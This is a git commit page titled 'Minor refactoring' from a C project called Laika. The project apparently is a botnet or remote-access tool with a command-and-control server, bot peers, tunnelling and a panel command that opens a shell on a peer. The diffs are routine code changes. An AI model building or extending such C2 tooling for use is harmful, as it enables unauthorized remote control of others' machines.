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Minor refactoring

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This commit is contained in:
CPunch 2022-04-01 14:10:06 -05:00
parent 4594e6194b
commit 3515d10b1c
9 changed files with 57 additions and 23 deletions
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9
cnc/src/cnc.c
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@ -340,7 +340,7 @@ void laikaC_onPollFail(struct sLaika_socket *sock, void *uData) {
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
struct sLaika_peer *peer;
struct sLaika_pollEvent *evnts;
struct sLaika_pollEvent *evnts, *evnt;
int numEvents, i;
laikaP_flushOutQueue(&cnc->pList);
@ -353,7 +353,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
/* walk through and handle each event */
for (i = 0; i < numEvents; i++) {
if (evnts[i].sock == &cnc->sock) { /* event on listener? */
evnt = &evnts[i];
if (evnt->sock == &cnc->sock) { /* event on listener? */
peer = laikaS_newPeer(
laikaC_botPktTbl,
&cnc->pList,
@ -379,9 +380,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
continue;
}
peer = (struct sLaika_peer*)evnts[i].sock;
laikaP_handleEvent(&evnts[i]);
laikaP_handleEvent(evnt);
}
laikaP_flushOutQueue(&cnc->pList);

2
lib/include/lbox.h
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@ -25,7 +25,7 @@ enum {
struct sLaikaB_box {
uint8_t *data;
uint8_t *unlockedData;
sLaikaV_vm vm;
struct sLaikaV_vm vm;
};
inline void laikaB_unlock() {

4
lib/include/lpacket.h
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@ -121,4 +121,8 @@ enum {
typedef uint8_t LAIKAPKT_ID;
typedef uint16_t LAIKAPKT_SIZE;
#ifdef DEBUG
const char* laikaD_getPacketName(LAIKAPKT_ID);
#endif
#endif

26
lib/src/lpacket.c Normal file
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@ -0,0 +1,26 @@
#include "lpacket.h"
#ifdef DEBUG
const char* laikaD_getPacketName(LAIKAPKT_ID id) {
const char *PKTNAMES[] = {
"LAIKAPKT_VARPKT",
"LAIKAPKT_HANDSHAKE_REQ",
"LAIKAPKT_HANDSHAKE_RES",
"LAIKAPKT_TUNNEL_OPEN",
"LAIKAPKT_TUNNEL_CLOSE",
"LAIKAPKT_TUNNEL_CONNECTION_ADD",
"LAIKAPKT_TUNNEL_CONNECTION_RMV",
"LAIKAPKT_TUNNEL_CONNECTION_DATA",
"LAIKAPKT_SHELL_OPEN",
"LAIKAPKT_SHELL_CLOSE",
"LAIKAPKT_SHELL_DATA",
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ",
"LAIKAPKT_AUTHENTICATED_TUNNEL_OPEN_REQ"
};
return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id];
}
#endif

1
lib/src/lpeer.c
View File

@ -166,6 +166,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
/* read packet ID */
peer->pktID = laikaS_readByte(&peer->sock);
LAIKA_DEBUG("%s", laikaD_getPacketName(peer->pktID));
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket

4
lib/src/ltunnel.c
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@ -105,6 +105,8 @@ struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunne
NULL
);
laikaS_setNonBlock(&con->sock);
con->tunnel = tunnel;
con->next = NULL;
con->id = id;
@ -135,7 +137,7 @@ void laikaT_freeConnection(struct sLaika_tunnelConnection *connection) {
/* unlink from list */
last->next = connection->next;
} else { /* connectionHead was NULL, or connection *was* the connectionHead. */
tunnel->connectionHead = NULL;
tunnel->connectionHead = connection->next;
}
/* tell peer connection is removed */

1
shell/include/scmd.h
View File

@ -10,6 +10,7 @@ typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]);
typedef struct sShell_cmdDef {
const char *cmd;
const char *help;
const char *syntax;
shellCmdCallback callback;
} tShell_cmdDef;

14
shell/src/sclient.c
View File

@ -132,7 +132,7 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
shellC_handleShellData,
0,
true),
true)
};
/* socket event */
@ -231,18 +231,20 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
}
bool shellC_poll(tShell_client *client, int timeout) {
struct sLaika_pollEvent *evnt;
int numEvents;
struct sLaika_pollEvent *evnts, *evnt;
int numEvents, i;
/* flush any events prior (eg. made by a command handler) */
laikaP_flushOutQueue(&client->pList);
evnt = laikaP_poll(&client->pList, timeout, &numEvents);
evnts = laikaP_poll(&client->pList, timeout, &numEvents);
if (numEvents == 0) /* no events? timeout was reached */
return false;
if (!laikaP_handleEvent(evnt))
laikaS_kill(&client->peer->sock);
for (i = 0; i < numEvents; i++) {
evnt = &evnts[i];
laikaP_handleEvent(evnt);
}
/* flush any events after (eg. made by a packet handler) */
laikaP_flushOutQueue(&client->pList);

19
shell/src/scmd.c
View File

@ -8,7 +8,7 @@
#include "lerror.h"
#define CMD_ERROR(...) do { \
shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \
longjmp(cmdE_err, 1); \
} while(0);
@ -107,14 +107,14 @@ void openShellCMD(tShell_client *client, int args, char *argc[]) {
/* =============================================[[ Command Table ]]============================================== */
#define CREATECMD(_cmd, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .help = _help, .callback = _callback})
#define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})
tShell_cmdDef shellS_cmds[] = {
CREATECMD("help", "Lists avaliable commands", helpCMD),
CREATECMD("quit", "Disconnects from CNC, closing panel", quitCMD),
CREATECMD("list", "Lists all connected peers to CNC", listPeersCMD),
CREATECMD("info", "Lists info on a peer", infoCMD),
CREATECMD("shell", "Opens a shell on peer", openShellCMD),
CREATECMD("help", "help", "Lists avaliable commands", helpCMD),
CREATECMD("quit", "quit", "Disconnects from CNC, closing panel", quitCMD),
CREATECMD("list", "list", "Lists all connected peers to CNC", listPeersCMD),
CREATECMD("info", "info [PEER_ID]", "Lists info on a peer", infoCMD),
CREATECMD("shell", "shell [PEER_ID]", "Opens a shell on peer", openShellCMD),
};
#undef CREATECMD
@ -134,11 +134,10 @@ tShell_cmdDef *shellS_findCmd(char *cmd) {
void helpCMD(tShell_client *client, int args, char *argc[]) {
int i;
shellT_printf("\n\n=== [[ Command List ]] ===\n\n");
shellT_printf("======= [[ %sCommand List%s ]] =======\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE));
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
shellT_printf("%04d '%s'\t- %s\n", i, shellS_cmds[i].cmd, shellS_cmds[i].help);
shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE), shellS_cmds[i].help);
}
shellT_printf("\n");
}
void shellS_initCmds(void) {